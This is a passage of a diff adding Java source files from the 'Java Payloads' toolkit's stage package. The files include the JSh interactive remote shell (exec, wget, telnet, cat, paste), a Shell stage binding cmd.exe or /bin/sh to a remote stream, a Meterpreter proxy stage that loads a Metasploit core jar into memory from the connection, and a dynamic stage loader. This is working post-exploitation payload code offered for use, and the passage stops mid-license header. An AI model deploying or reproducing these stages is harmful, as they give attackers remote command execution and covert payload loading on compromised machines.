import java.util.ArrayList;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class JSh implements Stage, Runnable {
|
||||||
|
|
||||||
|
// each job is an Object[] to avoid a pure data class
|
||||||
|
// job[0] = name (String)
|
||||||
|
// job[1] = raw object (Socket or Process or Stream) for closing
|
||||||
|
// job[2] = OutputStream to forward user input to
|
||||||
|
// job[3..length-1] = JshStreamForwarders to redirect output
|
||||||
|
private final List jobs = new ArrayList();
|
||||||
|
|
||||||
|
private PipedOutputStream signalStream;
|
||||||
|
private InputStream originalIn;
|
||||||
|
private PrintStream pout;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Forward data from one stream to another. Closes the input stream but not the output stream!
|
||||||
|
*/
|
||||||
|
private void forward(InputStream in, OutputStream out) throws IOException {
|
||||||
|
final byte[] buf = new byte[4096];
|
||||||
|
int len;
|
||||||
|
while ((len = in.read(buf)) != -1) {
|
||||||
|
out.write(buf, 0, len);
|
||||||
|
if (in.available() == 0) {
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
in.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean forwardEscapable(InputStream in, Object[] job) throws IOException {
|
||||||
|
final OutputStream out = (OutputStream) job[2];
|
||||||
|
int b;
|
||||||
|
boolean startOfLine = true, tilde = false, interrupted = true;
|
||||||
|
while (true) {
|
||||||
|
if (interrupted && job.length > 3) {
|
||||||
|
boolean allFinished = true;
|
||||||
|
for (int i = 3; i < job.length; i++) {
|
||||||
|
if (!((JShStreamForwarder) job[i]).isFinished()) {
|
||||||
|
allFinished = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (allFinished) {
|
||||||
|
pout.println("Finished: " + job[0]);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
interrupted = false;
|
||||||
|
if ((b = in.read()) != -1) {
|
||||||
|
if (b == 0) {
|
||||||
|
b = in.read();
|
||||||
|
if (b != 0) {
|
||||||
|
interrupted = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (startOfLine && b == '~') {
|
||||||
|
tilde = true;
|
||||||
|
} else if (tilde && b == '&') {
|
||||||
|
return true;
|
||||||
|
} else if (tilde && b == '.') {
|
||||||
|
return false;
|
||||||
|
} else {
|
||||||
|
if (tilde && b != '~') {
|
||||||
|
out.write('~');
|
||||||
|
}
|
||||||
|
out.write(b);
|
||||||
|
if (in.available() == 0) {
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
tilde = false;
|
||||||
|
}
|
||||||
|
startOfLine = (b == '\r' || b == '\n');
|
||||||
|
} else {
|
||||||
|
// our control connection has died...
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception {
|
||||||
|
pout.println("Press ~& to suspend, ~. to stop job.");
|
||||||
|
for (int i = 3; i < job.length; i++) {
|
||||||
|
((JShStreamForwarder) job[i]).pauseForwarding(false);
|
||||||
|
}
|
||||||
|
if (forwardEscapable(in, job)) {
|
||||||
|
for (int i = 3; i < job.length; i++) {
|
||||||
|
((JShStreamForwarder) job[i]).pauseForwarding(true);
|
||||||
|
}
|
||||||
|
jobs.add(job);
|
||||||
|
pout.println("Job suspended, see 'jobs'.");
|
||||||
|
} else {
|
||||||
|
for (int i = 3; i < job.length; i++) {
|
||||||
|
((JShStreamForwarder) job[i]).stopForwarding();
|
||||||
|
}
|
||||||
|
if (job[1] instanceof Socket) {
|
||||||
|
((Socket) job[1]).close();
|
||||||
|
} else if (job[1] instanceof Process) {
|
||||||
|
((Process) job[1]).destroy();
|
||||||
|
} else {
|
||||||
|
((OutputStream) job[1]).close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
try {
|
||||||
|
int b;
|
||||||
|
while ((b = originalIn.read()) != -1) {
|
||||||
|
signalStream.write(b);
|
||||||
|
if (b == 0) {
|
||||||
|
signalStream.write(b);
|
||||||
|
}
|
||||||
|
if (originalIn.available() == 0) {
|
||||||
|
signalStream.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
originalIn.close();
|
||||||
|
signalStream.close();
|
||||||
|
}
|
||||||
|
} catch (final Throwable ex) {
|
||||||
|
ex.printStackTrace(pout);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
this.originalIn = originalIn;
|
||||||
|
signalStream = new PipedOutputStream();
|
||||||
|
pout = new PrintStream(out, true);
|
||||||
|
final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream));
|
||||||
|
final Thread copier = new Thread(this);
|
||||||
|
copier.setDaemon(true);
|
||||||
|
copier.start();
|
||||||
|
final JShSignalSender ss = new JShSignalSender(signalStream, pout);
|
||||||
|
File pwd = new File(".").getCanonicalFile();
|
||||||
|
while (true) {
|
||||||
|
pout.print("! ");
|
||||||
|
// yes I know this is deprecated. but BufferedReader is way too bloated for what we need here
|
||||||
|
String cmd = in.readLine();
|
||||||
|
while (cmd.indexOf("\0$") != -1) {
|
||||||
|
cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2);
|
||||||
|
}
|
||||||
|
if (cmd.length() == 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int pos = cmd.indexOf(' ');
|
||||||
|
String params = "";
|
||||||
|
if (pos != -1) {
|
||||||
|
params = cmd.substring(pos + 1);
|
||||||
|
cmd = cmd.substring(0, pos);
|
||||||
|
}
|
||||||
|
cmd = cmd.toLowerCase().intern();
|
||||||
|
try {
|
||||||
|
if (cmd == "info") {
|
||||||
|
if (params.length() == 0) {
|
||||||
|
final Enumeration e = System.getProperties().propertyNames();
|
||||||
|
while (e.hasMoreElements()) {
|
||||||
|
final String property = (String) e.nextElement();
|
||||||
|
pout.println(property + "=" + System.getProperty(property));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
pout.println(params + "=" + System.getProperty(params));
|
||||||
|
}
|
||||||
|
} else if (cmd == "pwd") {
|
||||||
|
pout.println(pwd.getPath());
|
||||||
|
} else if (cmd == "cd") {
|
||||||
|
File f = new File(pwd, params);
|
||||||
|
if (f.exists() && f.isDirectory()) {
|
||||||
|
pwd = f.getCanonicalFile();
|
||||||
|
} else {
|
||||||
|
f = new File(params);
|
||||||
|
if (f.exists() && f.isDirectory()) {
|
||||||
|
pwd = f.getCanonicalFile();
|
||||||
|
} else {
|
||||||
|
pout.println("Path not found.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pout.println(pwd.getPath());
|
||||||
|
} else if (cmd == "ls") {
|
||||||
|
final File[] roots = File.listRoots();
|
||||||
|
for (int i = 0; i < roots.length; i++) {
|
||||||
|
pout.println(roots[i].getAbsolutePath() + "\t[ROOT]");
|
||||||
|
}
|
||||||
|
pout.println();
|
||||||
|
final File[] dir = pwd.listFiles();
|
||||||
|
for (int i = 0; i < dir.length; i++) {
|
||||||
|
pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified());
|
||||||
|
}
|
||||||
|
} else if (cmd == "exec") {
|
||||||
|
Process proc;
|
||||||
|
handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) });
|
||||||
|
} else if (cmd == "cat") {
|
||||||
|
final FileInputStream fis = new FileInputStream(new File(pwd, params));
|
||||||
|
forward(fis, pout);
|
||||||
|
} else if (cmd == "wget") {
|
||||||
|
pos = params.indexOf(' ');
|
||||||
|
if (pos == -1) {
|
||||||
|
pout.println(" Usage: wget <URL> <filename>");
|
||||||
|
} else {
|
||||||
|
final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1)));
|
||||||
|
forward(new URL(params.substring(0, pos)).openStream(), fos);
|
||||||
|
fos.close();
|
||||||
|
}
|
||||||
|
} else if (cmd == "telnet") {
|
||||||
|
pos = params.indexOf(' ');
|
||||||
|
if (pos == -1) {
|
||||||
|
pout.println(" Usage: telnet <host> <port>");
|
||||||
|
} else {
|
||||||
|
Socket s;
|
||||||
|
handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) });
|
||||||
|
}
|
||||||
|
} else if (cmd == "paste") {
|
||||||
|
FileOutputStream fos;
|
||||||
|
handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos });
|
||||||
|
} else if (cmd == "jobs") {
|
||||||
|
if (params.length() == 0) {
|
||||||
|
for (int i = 0; i < jobs.size(); i++) {
|
||||||
|
pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1));
|
||||||
|
}
|
||||||
|
} else if (cmd == "exit") {
|
||||||
|
break;
|
||||||
|
} else if (cmd == "help") {
|
||||||
|
params = params.toLowerCase().intern();
|
||||||
|
if (params == "info") {
|
||||||
|
pout.println("info: show system properties.");
|
||||||
|
pout.println(" Usage: info [property]");
|
||||||
|
} else if (params == "pwd") {
|
||||||
|
pout.println("pwd: show current directory.");
|
||||||
|
pout.println(" Usage: pwd");
|
||||||
|
} else if (params == "cd") {
|
||||||
|
pout.println("cd: change directory.");
|
||||||
|
pout.println(" Usage: cd <path>");
|
||||||
|
} else if (params == "ls") {
|
||||||
|
pout.println("ls: list directory.");
|
||||||
|
pout.println(" Usage: ls");
|
||||||
|
} else if (params == "exec") {
|
||||||
|
pout.println("exec: execute native command.");
|
||||||
|
pout.println(" Usage: exec <command>");
|
||||||
|
} else if (params == "cat") {
|
||||||
|
pout.println("cat: show text file.");
|
||||||
|
pout.println(" Usage: cat <filename>");
|
||||||
|
} else if (params == "wget") {
|
||||||
|
pout.println("wget: download file.");
|
||||||
|
pout.println(" Usage: wget <URL> <filename>");
|
||||||
|
} else if (params == "telnet") {
|
||||||
|
pout.println("telnet: create TCP connection.");
|
||||||
|
pout.println(" Usage: telnet <host> <port>");
|
||||||
|
} else if (params == "paste") {
|
||||||
|
pout.println("paste: create text file.");
|
||||||
|
pout.println(" Usage: paste <filename>");
|
||||||
|
} else if (params == "jobs") {
|
||||||
|
pout.println("jobs: list or continue jobs.");
|
||||||
|
pout.println(" Usage: jobs [index]");
|
||||||
|
} else if (params == "exit") {
|
||||||
|
pout.println("exit: Exit JSh.");
|
||||||
|
pout.println(" Usage: exit");
|
||||||
|
} else {
|
||||||
|
pout.println("help: show information about commands.");
|
||||||
|
pout.println(" Usage: help [command]");
|
||||||
|
pout.println();
|
||||||
|
pout.println("Supported commands:");
|
||||||
|
pout.println(" help - show this help");
|
||||||
|
pout.println(" info - list system properties");
|
||||||
|
pout.println(" pwd - show current directory");
|
||||||
|
pout.println(" cd - change directory");
|
||||||
|
pout.println(" ls - list directory");
|
||||||
|
pout.println(" exec - execute native command");
|
||||||
|
pout.println(" cat - show text file");
|
||||||
|
pout.println(" wget - download file");
|
||||||
|
pout.println(" telnet - create TCP connection");
|
||||||
|
pout.println(" paste - create text file");
|
||||||
|
pout.println(" jobs - list or continue jobs");
|
||||||
|
pout.println(" exit - Exit JSh");
|
||||||
|
pout.println();
|
||||||
|
pout.println("When inside an interactive command, enter ~. on a new");
|
||||||
|
pout.println("line to exit from that command. Enter ~& to background the command.");
|
||||||
|
pout.println("Enter ~~ to start a line with a ~ character");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
pout.println("Unknown command: " + cmd);
|
||||||
|
pout.println("Type help for more info.");
|
||||||
|
}
|
||||||
|
} catch (final Exception ex) {
|
||||||
|
ex.printStackTrace(pout);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ss.terminate();
|
||||||
|
pout.close();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,84 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.PipedOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* For some strange reason {@link PipedOutputStream} assumes something bad[tm] happened if a thread which wrote last to it dies without closing it. Therefore, we send all the "process dead" signals to the output stream via a dedicated thread that does not end before Jsh ends...
|
||||||
|
*/
|
||||||
|
public class JShSignalSender extends Thread {
|
||||||
|
private final PipedOutputStream signalStream;
|
||||||
|
private boolean doSignal, doTerminate;
|
||||||
|
private final PrintStream errorStream;
|
||||||
|
|
||||||
|
public JShSignalSender(PipedOutputStream signalStream, PrintStream errorStream) {
|
||||||
|
this.signalStream = signalStream;
|
||||||
|
this.errorStream = errorStream;
|
||||||
|
start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
while (true) {
|
||||||
|
synchronized (this) {
|
||||||
|
while (!doSignal && !doTerminate) {
|
||||||
|
wait();
|
||||||
|
}
|
||||||
|
if (doTerminate) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
doSignal = false;
|
||||||
|
}
|
||||||
|
signalStream.write(new byte[] { 0, '$' });
|
||||||
|
signalStream.flush();
|
||||||
|
}
|
||||||
|
signalStream.close();
|
||||||
|
} catch (final Throwable ex) {
|
||||||
|
ex.printStackTrace(errorStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public synchronized void signal() {
|
||||||
|
doSignal = true;
|
||||||
|
notifyAll();
|
||||||
|
}
|
||||||
|
|
||||||
|
public synchronized void terminate() {
|
||||||
|
doTerminate = true;
|
||||||
|
notifyAll();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,108 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
|
||||||
|
public class JShStreamForwarder extends Thread {
|
||||||
|
private final InputStream in;
|
||||||
|
private PrintStream out;
|
||||||
|
private boolean paused = false, finished = false;
|
||||||
|
private final JShSignalSender signalSender;
|
||||||
|
|
||||||
|
public JShStreamForwarder(InputStream in, PrintStream out, JShSignalSender signalSender) {
|
||||||
|
this.in = in;
|
||||||
|
this.out = out;
|
||||||
|
this.signalSender = signalSender;
|
||||||
|
start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public synchronized boolean isFinished() {
|
||||||
|
return finished;
|
||||||
|
}
|
||||||
|
|
||||||
|
public synchronized void pauseForwarding(boolean paused) {
|
||||||
|
this.paused = paused;
|
||||||
|
this.notifyAll();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
try {
|
||||||
|
final byte[] buf = new byte[4096];
|
||||||
|
int length;
|
||||||
|
while ((length = in.read(buf)) != -1) {
|
||||||
|
synchronized (this) {
|
||||||
|
while (paused) {
|
||||||
|
wait();
|
||||||
|
}
|
||||||
|
if (out != null) {
|
||||||
|
out.write(buf, 0, length);
|
||||||
|
if (in.available() == 0) {
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
synchronized (this) {
|
||||||
|
finished = true;
|
||||||
|
if (!paused) {
|
||||||
|
signalSender.signal();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
in.close();
|
||||||
|
}
|
||||||
|
} catch (final Throwable ex) {
|
||||||
|
synchronized (this) {
|
||||||
|
while (paused) {
|
||||||
|
try {
|
||||||
|
wait();
|
||||||
|
} catch (final InterruptedException ex2) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (out != null) {
|
||||||
|
ex.printStackTrace(out);
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public synchronized void stopForwarding() {
|
||||||
|
out = null;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,25 @@
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
|
||||||
|
import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Meterpreter Java Payload Proxy
|
||||||
|
*/
|
||||||
|
public class Meterpreter implements Stage {
|
||||||
|
|
||||||
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect");
|
||||||
|
int coreLen = in.readInt();
|
||||||
|
byte[] core = new byte[coreLen];
|
||||||
|
in.readFully(core);
|
||||||
|
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
|
||||||
|
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) });
|
||||||
|
in.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,53 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
public class SendParameters implements Stage {
|
||||||
|
|
||||||
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
int paramCount = in.readUnsignedShort();
|
||||||
|
String[] params = new String[paramCount+2];
|
||||||
|
params[0] = parameters[0];
|
||||||
|
params[1] = "--";
|
||||||
|
for (int i = 2; i < params.length; i++) {
|
||||||
|
params[i] = in.readUTF();
|
||||||
|
}
|
||||||
|
Stage realStage = (Stage) Class.forName("javapayload.stage."+params[2]).newInstance();
|
||||||
|
realStage.start(in, out, params);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,56 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
public class Shell implements Stage {
|
||||||
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
final String[] cmdarray = new String[1];
|
||||||
|
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
|
||||||
|
cmdarray[0] = "cmd.exe";
|
||||||
|
} else {
|
||||||
|
cmdarray[0] = "/bin/sh";
|
||||||
|
}
|
||||||
|
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||||
|
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||||
|
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||||
|
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||||
|
proc.waitFor();
|
||||||
|
in.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,42 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
